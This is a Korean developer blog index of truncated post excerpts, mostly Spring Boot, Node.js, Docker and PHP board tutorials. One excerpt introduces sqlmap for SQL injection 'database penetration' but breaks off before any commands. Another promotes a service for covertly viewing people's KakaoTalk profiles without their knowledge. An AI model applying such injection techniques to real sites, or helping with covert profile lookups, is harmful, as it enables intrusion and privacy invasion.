JPA와 MyBatis 두 개를 놓고 보면, 외국에선 MyBatis에 비해 JPA가 압도적으로 사용량이 많습니다. 한국은 반대지만, 그 추세가 바뀌고 있다고 하더라고요.. 그래서 왜 같은 DB 접속 기술인데 JPA를 사용하는지 궁금했어요.. JPA와 더 친해지고 싶어서.. 게시판을 하나 만들어봤어요.. 만들다 보니 조금은 알겠더라고요 쿼리문을 직접 안 써도 된다는 장점이 얼마나 큰지..!! 서론이 길었네요.. 먼저 결과부터 보자면.. Create>> Read(Delete)>> Update>> 요구사항으론 Create, Read, Update, Delete 기능이 있는 게시판입니다.. 예상되는 로직은.. 요청 -> Controller -> Service -> Dao -> Service -> Controller -> Model(View) 이때까지는 H2 DB로 진행했지만, 이번 프로젝트는 MariaDB를 사용했습니다.. 먼저 DB부터 설계해 줍니다.. DDL>> CREATE TABLE

Spring Boot - 스프링 데이터 JPA [내부링크]

스프링 부트와 JPA라는 기반 위에, 스프링 데이터 JPA를 사용하면 리포지토리에 구현 클래스 없이 인터페이스 만으로 개발을 완료할 수 있습니다. 따라서 개발자는 핵심 비즈니스 로직을 개발하는데, 집중할 수 있습니다. 이전의 JPA 설정을 그대로 사용하고.. SpringDataJpaMemberRepository>> package hello.hellospring.repository; import hello.hellospring.domain.Member; import org.springframework.data.jpa.repository.JpaRepository; import java.util.Optional; public interface SpringDataJpaMemberRepository extends JpaRepository<Member, Long>, MemberRepository { @Override Optional<Member> findByName(String name); @

Spring Boot - AOP [내부링크]

AOP : Aspect Oriented Programming 공통 관심 사항(cross-cutting concern) VS 핵심 관심 사항(core concern) 분리 한 가지의 상황을 예를 들어보자면.. 이 전에 만든 회원 관리 프로젝트에서 모든 메서드의 호출 시간을 측정하고 싶다고 할 때.. 또는 회원 가입 시간, 회원 조회 시간을 측정하고 싶다고 할 때.. 스프링 컨테이너의 메서드에 전부 시간 측정 로직을 구현해 줘야 됩니다.. 기존 MemberService 메서드 여기서 회원가입(join) 메서드와 회원 조회(findMembers) 메서드의 기능 시간을 측정하는 코드로 수정해 줍니다.. 조회할 때 시간이 콘솔로 찍히는 걸 확인할 수 있습니다.. (오른쪽은 웹브라우저 짤린거입니다 ㅋㅁㅋ) 자 다시 돌아와서 여기서 문제는.. - 회원가입, 회원 조회에 시간을 측정하는 기능은 핵심 관심 사항이 아니다. - 시간을 측정하는 로직은 공통 관심사항이다. - 시간을 측정하는 로직과 핵심

macOS에서 Ubuntu(가상)으로 Docker 사용하기 [내부링크]

도커에서 컨테이너 = 다른 프로그램과 분리된 환경에서 실행 컨테이너 이미지 = 컨테이너 실행을 위해 미리 준비해야 됨 허브 = 컨테이너 이미지가 저장된 창고 macOS의 VMware로 Ubuntu 환경에서 Docker를 사용해 볼게요.. 우선 우분투 설치 파일을 다운로드합니다.. Download Ubuntu Desktop | Download | Ubuntu Ubuntu is an open source software operating system that runs from the desktop, to the cloud, to all your internet connected things. ubuntu.com 설치는 매뉴얼대로 해주시면 되는데.. 우분투 설치 후에 도커 홈페이지의 설치 매뉴얼을 참고하여 도커를 설치해 줍니다.. Docker: Accelerated Container Application Development Docker is a platform designed to he

Docker로 Ubuntu 기반 apache 서버 열기 [내부링크]

macOS에서 Ubuntu(가상)으로 Docker 사용하기 도커에서 컨테이너 = 다른 프로그램과 분리된 환경에서 실행 컨테이너 이미지 = 컨테이너 실행... blog.naver.com 이전 게시글에 이어서.. Docker를 이용해 apache 서버를 열어볼게요.. FROM ubuntu:18.04 LABEL maintainer="blog.naver.com/ma5ter" # install apache RUN apt-get update \ && apt-get install -y apache2 RUN echo "TEST WEB" > /var/www/html/index.html EXPOSE 80 CMD ["/usr/sbin/apache2ctl", "-DFOREGROUND"] ubuntu 18.04 버전을 도커 이미지로 내려받고 apt를 업데이트해준 뒤 apache 패키지를 내려받습니다.. 후에 apache index 페이지를 생성해 주고 80포트로 사용해 준 뒤 서비스를 실행시켜줍니다.. d

Docker로 node.js 컨테이너 사용하기 [내부링크]

macOS에서 Ubuntu(가상)으로 Docker 사용하기 도커에서 컨테이너 = 다른 프로그램과 분리된 환경에서 실행 컨테이너 이미지 = 컨테이너 실행... blog.naver.com 이전 게시글에 이어서.. Docker를 이용해 node.js 컨테이너를 만들어서 사용해 볼게요.. 먼저 테스트할 js를 만듭니다.. hello.js >> const http = require('http'); const os = require('os'); console.log("Test server starting..."); var handler = function(request, response){ console.log("Received request from " + request.connection.remoteAddress); response.writeHead(200); response.end("Container Hostname : " + os.hostname + "\n"); }; var www =

Spring Boot - jsp 사용하기 [내부링크]

스프링 부트는 기본적으로 JSP를 지원하지 않습니다. 보통 웹 개발에 타임리프, 프리마커 등의 템플릿 엔진의 사용을 권장합니다. 하지만 JSP를 사용하고 싶다면 따로 설정하고 사용할 수 있습니다.. 먼저 스프링 프로젝트를 Gradle로 한 개 만들어 주시고요.. 프로젝트 의존성은 jsp 외에 사용할 것 체크해 주시면 됩니다.. 프로젝트가 만들어졌어요! 먼저, resource 폴더의 application.properties를 세팅해 줄게요.. #포트 설정 server.port=8088 #JSP 설정 spring.mvc.view.prefix=/WEB-INF/views/ spring.mvc.view.suffix=.jsp 포트는 8088로 임의로 적어놨습니다. JSP 경로와 확장자를 설정해 줍니다. 그리고, build.gradle로 이동해서 의존성을 추가해 줍니다. implementation 'javax.servlet:jstl' implementation 'org.apache.tomcat.

Spring Boot Mybatis - 게시판 만들기 [내부링크]

스프링 부트는 Mybatis를 지원합니다.. 설정과 의존성만 추가하면 간단하게 사용할 수 있습니다. 테이블의 값을 리스트로 가져와보는 작업을 해볼게요.. 우선 테이블을 먼저 확인해 봅니다.. simple_bbs 테스트 데이터 넣어놓고.. 프로젝트를 만들어줍니다.. Mybatis Framework를 체크해 주시고요.. build.gradle 저는 jsp를 사용할 거라 jsp 의존성도 추가해 줬습니다.. 다음으로 application.properties에 데이터베이스 연결정보를 설정합니다.. application.properties server.port=8087 #JSP spring.mvc.view.prefix=/WEB-INF/views/ spring.mvc.view.suffix=.jsp #DB spring.datasource.driver-class-name=org.mariadb.jdbc.Driver spring.datasource.url=jdbc:mariadb://localhost:3

Spring Boot - RestAPI 1 [내부링크]

서버에 요청을 보내면 DB에 있는 데이터를 JSON으로 출력해 주는 API를 만들어볼게요.. http://localhost:8089/member/멤버 번호 로 접속하게 되면, 해당 멤버 번호에 매칭되는 데이터를 출력해 주고, http://localhost:8089/members 로 접속하게 되면, 모든 멤버들의 데이터를 출력해 주고, http://localhost:8089/member 에 POST 방식으로 데이터를 실어서 보내주면 데이터를 추가할 수 있게끔 설계했습니다. 결과 화면>> http://localhost:8089/members> http://localhost:8089/member/1> http://localhost:8089/member/3> 데이터 테이블>> CREATE TABLE `tbl_member` ( `mno` INT(11) NOT NULL AUTO_INCREMENT, `NAME` VARCHAR(50) NOT NULL COLLATE 'utf8mb4_general_c

Spring Boot - RestAPI 2 [내부링크]

Spring Boot - RestAPI 1 서버에 요청을 보내면 DB에 있는 데이터를 JSON으로 출력해 주는 API를 만들어볼게요.. http://lo... blog.naver.com 이전 게시글에 이어서.. 다른 서버에서 해당 API를 사용해 보도록 할게요.. 결과 화면>> 목록 가져오기 전.. 목록을 가져오게 되면 DB의 NAME이 출력됩니다. useApi.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <body> <h1>Use Api</h1> <hr> <h3>목록보기</h3> <button id="btn_list">목록가져오기</button> <div id="div_list"></div> </bo

Spring Boot 회원관리 1 - 도메인, 리포지토리 생성 [내부링크]

회원관리 예제 데이터베이스 사용하기에 앞서, 개발을 해야 되는 상황이 왔다고 가정을 하고 데이터를 메모리에 저장시키도록 하여 도메인과 리포지토리를 만들어볼게요.. Member(도메인)>> package hello.hellospring.domain; public class Member { private Long id; private String name; public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } 간단하게 시스템이 부여하는 ID, 사용자의 입력을 받는 Name 두 개가 있습니다. 다음으로 MemberRepository(인터페이스)>> package hello.hellospring.repository; import

Spring Boot 회원관리 2 - 테스트 케이스 작성 [내부링크]

이전 게시글에서 작성했던 회원관리 도메인과 리포지토리에 직접 값을 넣어보고 값을 검증해 보도록 할게요.. save>> @Test public void save() { Member member = new Member(); member.setName("spring"); repository.save(member); Member result = repository.findById(member.getId()).get(); System.out.println("result = " + (result == member)); assertThat(member).isEqualTo(result); } 회원 객체를 한 개 만들고 이름만 정해주고 리포지토리에 저장을 합니다. 반환값이 Optional 형식이라. get() 메서드를 통해 다시 회원 객체로 반환받습니다. assertThat을 사용하여 member와 result를 비교합니다. findByName>> @Test public void findByName

Spring Boot 회원관리 3 - 서비스 개발 [내부링크]

회원가입 시 중복된 회원 등을 구분하고 처리하기 위한 서비스 클래스를 만들어볼게요.. 서비스 클래스에서 메서드는 기계적인 언어보단 개발자가 아닌 다른 사람이 좀 더 알아듣기 쉬운 언어를 사용해서 작성했습니다.. public Long join(Member member) { validateDuplicateMember(member); // 중복 회원 검증 memberRepository.save(member); return member.getId(); } private void validateDuplicateMember(Member member) { memberRepository.findByName(member.getName()) .ifPresent(m -> { throw new IllegalStateException("이미 존재하는 회원입니다."); }); } 먼저 회원가입을 하게 되면 중복 회원임을 검증하게 됩니다. findByName 메서드에서 반환값을 Optional 타입의 객체를

Spring Boot 회원관리 4 - 회원관리 테스트 [내부링크]

먼저 테스트를 위해 껍데기를 만듭니다.. 먼저, 회원가입의 경우 @Test void 회원가입() { //given Member member = new Member(); member.setName("member"); //when Long saveId = memberService.join(member); Member findMember = memberService.findOne(saveId).get(); Assertions.assertThat(member.getName()).isEqualTo(findMember.getName()); //then } 생성한 객체와 생성 후 서비스에서 가져온 객체의 ID를 각각 비교합니다. 다음으로 예외의 상황인 중복 회원일 경우인데.. @Test public void 중복_회원_예외() { //given Member member1 = new Member(); member1.setName("member"); Member member2 = new Member

Spring Boot 회원관리 5 - 스프링 빈과 의존관계 [내부링크]

이전 게시글에 이어서.. 스프링 컨테이너에 MemberController --> MemberService --> MemberRepository 요런 비즈니스 로직을 요구할 때 스프링 빈을 등록한 뒤, 첫 번째로 컴포넌트 스캔을 이용해 자동으로 의존관계를 설정해 볼게요.. 우선 Controller를 만든 후.. package hello.hellospring.controller; import hello.hellospring.service.MemberService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; @Controller public class MemberController { private final MemberService memberService; @Autowired public MemberController(Membe

회원별 작성 게시글 불러오기 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 게시판에서 작성자를 누르게 되면 팝업창이 하나 뜹니다. html <ul class="navbar-nav ml-auto"> <li class="nav-item dropdown no-arrow mx-1"> <a class="nav-link dropdown-toggle" href="javascript:void(0);" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <span><?=$board_result[$i]['write_user']?></span> </a> <!-- Dropdown - Messages --> <div class="dropdown-list dropdown-menu shadow animated--grow-in" aria-labell

게시글에 댓글, 답글 기능 추가 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 게시글에 댓글 기능과 답글 그리고 댓글 작성자 일시 해당 댓글의 수정, 삭제 권한을 얻어서 댓글 수정, 삭제까지 만들어볼게요. Comment 테이블 정보 CREATE TABLE `comment` ( `id` int NOT NULL, `board_menu` varchar(10) NOT NULL, `board_id` varchar(150) NOT NULL, `write_user` varchar(20) NOT NULL, `content` text NOT NULL, `date` datetime NOT NULL, `parent_id` int DEFAULT NULL, `deps` int NOT NULL, `level` int DEFAULT NULL, `del_yn` enum('Y','N') NOT NULL DEFAULT 'N' ) 순서대로.. 관리번

닉네임 변경, 비밀번호 변경 추가 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 비밀번호 변경과 닉네임 변경 기능을 추가해 볼게요. 제 사이트에선 미니게임을 통해 포인트를 얻을 수 있는데 닉네임 변경할 때 30만 포인트를 사용하도록 해볼게요. usersetting <? include $_SERVER['DOCUMENT_ROOT'].'/_common.php'; ?> <div class="container"> <!-- Page Heading --> <h1 class="h3 mb-2 text-gray-800">계정 설정</h1> <br> <!-- Content Row --> <div class="row align-items-center justify-content-center"> <!-- Content Column --> <div class="col-4"> <!-- Page Heading --> <div class="card

상태가 변하는 1:1 문의 기능 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 이번엔 1:1문의 기능을 추가해 봤어요. 지금.. 개발하면서 기능을 하나둘씩 추가하다 보니 게시판 한 개의 페이지에서 기능을 게시판 별로 나누고 권한 별로 나눴습니다. 이 게시글에서는 1:1 문의 기능 추가에 대한 소스만 추가합니다. 전체 소스가 필요하신 분은 다른 게시글에 있는 게시판 글을 참고해 주세요. 결과 기존 상태 : 1 ( 접수 완료 ) 관리자가 글을 확인했을 경우 상태 : 2 ( 처리 중 ) 관리자가 답변을 작성할 경우 : 3 ( 답변 완료 ) 로 구성했습니다. user_board 테이블에 state 칼럼을 추가했습니다. PHP 소스코드 if($type == "inquiry") { switch($board_result[0]['state']) { case '1': $state = "접수완료"; break; case '2': $s

관리자 페이지 - 공통 정보 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 게시판 한 페이지 당 불러올 개수, 상점에서 한 페이지 당 불러올 개수에 대한 정보를 관리자 권한을 가진 계정에서 관리할 수 있게끔 관리자 페이지를 만들어볼게요. 관리자 권한인 경우만 왼쪽 고객센터 밑에 관리 기능이 추가됩니다. 사실 지금 모든 관리기능을 추가하려고 틀을 잡아나가던 단계였거든요.. 허전하다..ㅜㅁㅜ 게시판 리스트 개수를 5개로 한 경우 한 페이지에서 5개의 게시글만 출력되고 나머지는 페이징 처리됩니다. 10개로 설정한 경우 잘 되죠? 이런 느낌이에요! admin.html <? include $_SERVER['DOCUMENT_ROOT'].'/_common.php'; ?> <? if($cf['permit'] != 2) { permit_load(); return false; } ?> <h1 class="h3 mb-2 text-g

프리귀혼..!! 그리고 한글패치 [내부링크]

과거에 귀혼이라는 게임은 8개국에서 서비스되었는데.. 하나둘씩 섭종을 하게 됐어요.. 그러다 보니 이 게임이 그리운 외국인들은 외국 귀혼을 베이스로 사설서버를 만들기 시작했고.. 어느 외국인이 프로젝트를 깃허브에 올려주셔서 저도 대만 귀혼 클라이언트로 귀혼 사설서버를 만들게 됐어요! 뭐 대충.. 요약하자면.. 소스코드를 받아서 DB 추가하고.. 로그인 서버 채널 서버 게임 서버 메시지 서버 순서대로 서버를 오픈하라고 하네요.. 깃허브에 소스코드를 올려놔서 끌어다가 저도 구축을 해봤어요. 로그인 서버, 채널 서버, 게임 서버, 메시지 서버 모두 정상적으로 작동합니다. 중국어 몰라서 일단 대미지만 30000으로 잡아놨어요.. 몹도 잘 나오는데 몇몇 몹은 고장 났더라고요.. 좌표만 조금 수정해 주면 될 듯.. 캐시 아이템도 DB에서 관리하며 추가, 삭제 그리고 섭음도 테스트해 봤어요.. 잘 되는 듯.. 중국어 보니까 토 나올 것 같아서 한글 패치를 조금씩 진행해 볼까 하는 마음에 대만 클

Spring Boot - MVC 2 [내부링크]

이번엔 GET 방식으로 파라미터를 받아서 페이지에 띄워보도록 할게요. hello-template <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>Hello Page</title> </head> <body> <p>타임리프 템플릿</p> <p th:text="'hello ' + ${name}" >hello! empty</p> </body> </html> Controller package hello.hellospring.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.ann

Spring Boot - API [내부링크]

package hello.hellospring.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class HelloController { @GetMapping("hello-api") @ResponseBody public Hello helloApi(@RequestParam("name") String name){ Hello hello = new Hello(); hello.setName(name); return

Spring Boot - 빌드하고 실행하기 [내부링크]

mac os 기준입니다. 우선 터미널을 통해 프로젝트가 있는 폴더로 이동합니다. 명령어를 통해 빌드 해줍니다. ./gradlew build 빌드 중.. 빌드 완료! build라는 폴더가 생겼어요. build - libs 폴더로 이동해 줍니다. jar 파일이 생성된 것을 확인할 수 있습니다. java -jar 빌드된파일.jar 실행을 확인해 줍니다. 저는 java -jar hello-spring-0.0.1-SNAPSHOT.jar 이 되겠네요. 8080포트가 이미 사용하고 있다네요.. 다른 개발 환경에서 실행되고 있으면 다음과 같이 에러가 뜹니다. 저는 인텔리 제이에서 실행되고 있었어요.. 꺼주고 다시 실행을 확인해 주면.. 실행 성공!!

게시글 최신순, 조회 순으로 정렬하기 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 게시판에 여러 기능을 추가했습니다. 전체 화면을 캡처하기 위해서 사이즈를 줄였어요.. 게시글 정렬 기능을 넣었는데 오른쪽 위에 게시글을 최신순, 조회 순으로 정렬해 주는 옵션을 추가했습니다. board_load 영역이 결과를 불러오는 영역입니다. GET 방식으로 파라미터를 넘겨주고 그에 대한 응답을 뿌려줍니다. html <div class="col d-flex justify-content-end"> <div class="dropdown"> <button class="btn btn-outline-dark dropdown-toggle" href="javascript:void(0);" id="messagesDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expan

제목, 내용, 작성자 별로 게시글 검색하기 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 게시판 밑에 제목, 내용, 작성자 별로 게시글을 검색하는 기능을 추가해 봤습니다. html <div class="row justify-content-center"> <div class="d-flex"> <div class="input-group"> <button class="btn btn-outline-dark dropdown-toggle" href="javascript:void(0);" id="messagesDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <span id="footer-search-val" search="content">제목 + 내용</span> </button> <ul class="dropdown-menu"

메인 화면에서 게시글 리스트 뽑아오기 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 공지사항 / 이벤트 / 자유게시판 영역은 게시판 형식으로 되어있습니다. 메인 화면에서 공지사항, 이벤트는 최신 게시글 3개 자유 게시판은 최신 게시글 5개만 뽑아와서 출력해 보도록 할게요. 자유시장은 아직 미완성입니다 ㅋㅁㅋ 공지사항 게시판 ( 관리자 권한만 글쓰기 버튼이 노출됩니다. ) 이벤트 게시판 자유게시판 공지사항 테이블 - admin_board 이벤트 테이블 - admin_board 자유게시판 테이블 - user_board 쿼리문 $notice_sql = "select * from admin_board where 1=1 and menu='notice' and del_yn='N' order by id desc limit 0,3"; $event_sql = "select * from admin_board where 1=1 and men

레벨순으로 랭킹 정하기 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 홈페이지 메인화면에서 랭킹 부분을 출력하도록 하겠습니다. 각각 계정마다 레벨, 경험치, 포인트 등의 정보가 있는데 가장 높은 순으로 정렬 후 5개 뽑아와서 출력했습니다. 유저의 정보가 담긴 테이블은 2개가 있습니다. - users : id, pw, email, nickname 등 - user_info : level, exp, point, item 등 출력하고싶은 nickname과 정렬하고싶은 level이 다른 테이블에 있어서 조인해준 뒤 정렬해야됩니다. 쿼리문 $broadcast_sql = "select nickname from users inner join user_info on users.id = user_info.userid order by level desc limit 0,5"; $broadcast_total = $db_cls->e

ckeditor로 유튜브 링크 삽입하고 불러오기 [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 게시판에서 게시글을 작성할 때, 유튜브 공유 URL을 가져와 내용 본문에 첨부하고 싶을 때가 있습니다. ckeditor에서 제공하는 기능을 이용해서 게시글 본문에 동영상을 넣어볼게요. ckeditor를 불러온 뒤, 비디오 모양을 누르면 url을 입력하라고 합니다. 유튜브 공유 링크를 누르고 초록색 체크 버튼을 누르면.. 본문 내용에 유튜브 동영상이 삽입됩니다. 이 상태로 게시글을 등록하게 되면.. db에 html 형식으로 내용이 입력됩니다. 하지만 게시글을 불러올 땐 동영상이 출력되지 않습니다. iframe으로 변환시켜서 출력해 줘야 돼요. db에 입력할 때 변환시켜서 저장해 줘도 되지만 저는 불러올 때 뷰 페이지에서 변환시켜서 사용해 줬어요. 뷰 패이지 스크립트 <script> $(document).ready(function() { do

Spring Boot - 프로젝트 생성 [내부링크]

Download the Latest Java LTS Free Subscribe to Java SE and get the most comprehensive Java support available, with 24/7 global access to the experts. www.oracle.com 자바가 설치되어 있지 않다면 스프링 부트 버전과 호환되는 jdk를 먼저 설치해 줍니다. 아마 오라클 회원가입해야 될 거예요.. {"_links":{"gradle-project":{"href":"https://start.spring.io/starter.zip?type=gradle-project{&dependencies,packaging,javaVersion,language,bootVersion,groupId,artifactId,version,name,description,packageName}","templated":true},"gradle-project-kotlin":{"href":"https

Spring Boot - MVC 1 [내부링크]

MVC : Model View Controller이라는 하나의 디자인 패턴 Spring MVC : 스프링이 제공하는 웹 전용 MVC Framework Model : 비즈니스 로직 처리 View : 사용자가 보는 UI Controller : Model과 View 사이에서 데이터를 처리 index <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Hello</title> </head> <body> <p>Hello Spring</p> <a href="/hello">Hello Page</a> </body> </html> Controller package hello.hellospring.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.b

Node.js Express - CRUD 게시판 만들기 2 [내부링크]

Node.js Express - CRUD 게시판 만들기 1 시작하기에 앞서 기존에 만들었던 건 메뉴로 분류해버렸습니다.. 그리고 게시판도 하나의 메뉴로 사용할 거... blog.naver.com 이전 게시글에 이어 진행됩니다.. DB에 입력된 데이터를 출력해 보도록 할게요. board/index.ejs <%- include("../include/header") -%> <div class="container"> <h3>게시판리스트</h3> <table class="table table-border text-center"> <thead> <tr> <th scope="col">번호</th> <th scope="col">글쓴이</th> <th scope="col">제목</th> <th scope="col">작성일</th> </tr> </thead> <tbody> <% if(rows.length==0){ %> <td colspan="4">게시글이 없습니다.</td> <% } for(var i

Node.js Express - CRUD 게시판 만들기 3 [내부링크]

Node.js Express - CRUD 게시판 만들기 2 이전 게시글에 이어 진행됩니다.. DB에 입력된 데이터를 출력해 보도록 할게요. board/index.ejs router/... blog.naver.com 이전 게시글에 이어 진행됩니다.. 리스트 출력, 글쓰기, 글 보기를 만들었으니 이제 글 수정 기능을 만들어 봅니다. 만들어놓은 드롭 다운 버튼을 누르면 수정, 삭제가 나옵니다. 이 버튼을 누르면 /board/modify/<%=result.idx%> /board/delete/<%=result.idx%> 두 페이지로 나뉘게 됩니다. 하지만 라우터에선 modify와 delete를 변수로 전달받아 처리할 거예요. 그리고 해당 게시글에 수정, 삭제 작업을 하기 위해선 게시글의 비밀번호를 입력받는 인증 처리까지 해야 됩니다. auth.ejs <%- include("../include/header") -%> <div class="container"> <h3 class="mb-5">게시

Node.js Express - CRUD 게시판 만들기 4 [내부링크]

Node.js Express - CRUD 게시판 만들기 3 이전 게시글에 이어 진행됩니다.. 리스트 출력, 글쓰기, 글 보기를 만들었으니 이제 글 수정 기능을 만들어... blog.naver.com 이전 게시글에 이어 진행됩니다.. 마지막으로 삭제 기능을 만들어 볼게요. 이전 게시글에서 수정 기능을 만들 때 게시글의 비밀번호를 입력받았었는데 type에 따라 분기됐었습니다. type이 modify 일 때는 만들어줬으니 type이 delete 일 때만 만들어주면 됩니다. auth에서 비밀번호를 입력받은 뒤 처리되는 router/board.js 부분 router.post('/board/:type/:idx', function (req, res) { var type = req.params.type; var idx = req.params.idx; var password = req.body.password; var sql = "select password from board where 1=1 a

Node.js Express - 게시판 첨부파일 업로드, 다운로드 [내부링크]

게시글을 작성할 때 첨부파일을 노드 서버에 올리고 다운로드할 수 있습니다. 파일 업로드와 동시에 DB에 첨부파일 관련 정보를 입력합니다. 게시글에 test_file.txt를 첨부파일로 올려볼게요. 업로드할 test_file.txt 게시판 DDL 정보 CREATE TABLE `board` ( `idx` int(11) NOT NULL AUTO_INCREMENT, `writer` varchar(20) DEFAULT NULL, `password` varchar(20) DEFAULT NULL, `title` varchar(100) DEFAULT NULL, `content` text DEFAULT NULL, `date` datetime DEFAULT NULL, `del_yn` enum('Y','N') DEFAULT 'N', `file_o_name` varchar(100) DEFAULT NULL, `file_c_name` varchar(100) DEFAULT NULL, `file_path` va

SQLMAP - DB 침투하기 [내부링크]

sqlmap: automatic SQL injection and database takeover tool Introduction sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switc... sqlmap.org - sql injection은 웹 해킹 기법 중 하나입니다. 웹과 DB에 쿼리를 보내는 과정 중 악의적인 의도를 갖는 구문을 삽입하여 공격자가 원하는 질의문을 실행합니다. 공격 종류 : 인증 우회, 데이터 노출, 원격 명령 실

번호 저장없이 카카오톡 기본 프로필 확인하기 #카카오스캔 [내부링크]

카카오스캔 - 카톡 프로필 조회 카카오톡 프로필을 몰래 조회 할 수 있습니다. 상대방은 조회 사실을 알 수 없습니다. kakaoscan.com 우리는 카카오톡을 통해서 사람들과 일상을 공유해요. 그러다보면 가끔은 상대방의 멀티프로필이 아닌 기본 프로필이 궁금해지기도 하고, 혹시 나를 차단한거 같다면, 정말 차단 한 건지 확인 해보고싶고, 번호는 있는데 저장하긴 싫고, 흔적 없이 프로필을 확인해 보고 싶기도 할거에요. 카카오스캔은 전화번호로 상대방의 프로필을 조회해줘요. 상대방은 조회 당한 사실을 전혀 알 수 없으니 안심해도돼요! 번호를 입력하면 순번 대기를 시작해요. 한명 당 20~30초 소요되니 약간의 인내심이 필요해요. 작업이 완료되기 전 까지는 절대 never! 새로고침 하거나 화면을 전환하시면 안돼요. 작업이 취소된답니다 ㅎㅎ. 간혹적으로 친구 동기화가 실패해서 올바른 전화번호를 입력해도 친구추가에 실패했다고 나올 수 있어요! 이럴 땐 다시 시도하시면 해결 됩니당. 작업이 완

가위바위보 게임 만들기 - Front End [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 홈페이지에 가위바위보 미니게임을 추가했어요. Front 단에 선 사용자의 정보를 불러와서 배팅금액을 입력받고 가위, 바위, 보를 입력받아서 서버로 넘겨보도록 할게요. 결과를 먼저 보여드리면.. 메인 화면 이겼을 경우 졌을 경우 비겼을 경우 모달창을 띄어줍니다. 프런트 단에선 가위, 바위, 보를 선택했을 때 이미지를 교체해 줍니다. 그리고 데이터를 입력받아 서버로 넘겨줍니다. 데이터 처리는 서버 측에서 합니다. rps_main.html <? include $_SERVER['DOCUMENT_ROOT'].'/_common.php'; ?> <? loginchk(); ?> <div class="container"> <!-- Page Heading --> <h1 class="h3 mb-2 text-gray-800">가위바위보</h1> <p class

가위바위보 게임 만들기 - Back End [내부링크]

장뽕뽕 웹게임 강화해서 광물캐기, 커뮤니티 hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 프런트 단에 이어서 백단도 이어서 진행할게요. ajax_rps.php <? include $_SERVER['DOCUMENT_ROOT'].'/_common.php'; ?> <? $type = $_POST['type']; $option = $_POST['option']; $money = $_POST['money']; $user_id = $cf['user_id']; if(!$type) { echo "올바르지 않은 접근입니다."; return false; } if($type == "play" || $type == "go") { if($type == "play" && $money < 1000 || $money > 50000) { $result = array("state"=>"error", "message"=>"배팅금액을 1,000 ~ 50,000

Node.js Express - EJS Engine 사용하기 [내부링크]

ejs 엔진을 통해 HTML 소스에 데이터를 전달해 봐요. 먼저 노드에 ejs 모듈을 설치합니다. npm install ejs 설치가 완료되었으면 view를 만들어줍니다. 저는 프로젝트 폴더 안에 views/index.ejs 파일로 만들어줬어요! index.ejs <!DOCTYPE html> <html lang="ko"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Express</title> </head> <body> <h1>익스프레스 메인페이지 입니다.</h1> <h1>전달받은 값 : <%=data%></h1> </body> <footer> <p>&copy; Express_test</p> </footer> </html> js 파일도 수정해 줍니다. // express var express = require

Node.js Express - Bootstrap 사용하기 + 헤더 분리 [내부링크]

이전 게시글에서 ejs를 사용했는데 view로 ejs를 사용하면서 bootstrap을 적용해 볼게요. npm install bootstrap 해당 명령어로 노드에 부트스트랩을 설치합니다. package.json에 종속성이 알아서 추가됩니다. js 파일에서 부트스트랩을 설정해 줍니다. // bootstrap app.use('/js', express.static(__dirname + '/node_modules/bootstrap/dist/js')); // bootstrap JS app.use('/css', express.static(__dirname + '/node_modules/bootstrap/dist/css')); // bootstrap CSS 페이지에 적용시켜줍니다. // header에 추가 <link rel="stylesheet" href="/css/bootstrap.min.css"> // footer에 추가 <script src="/js/bootstrap.min.js"></sc

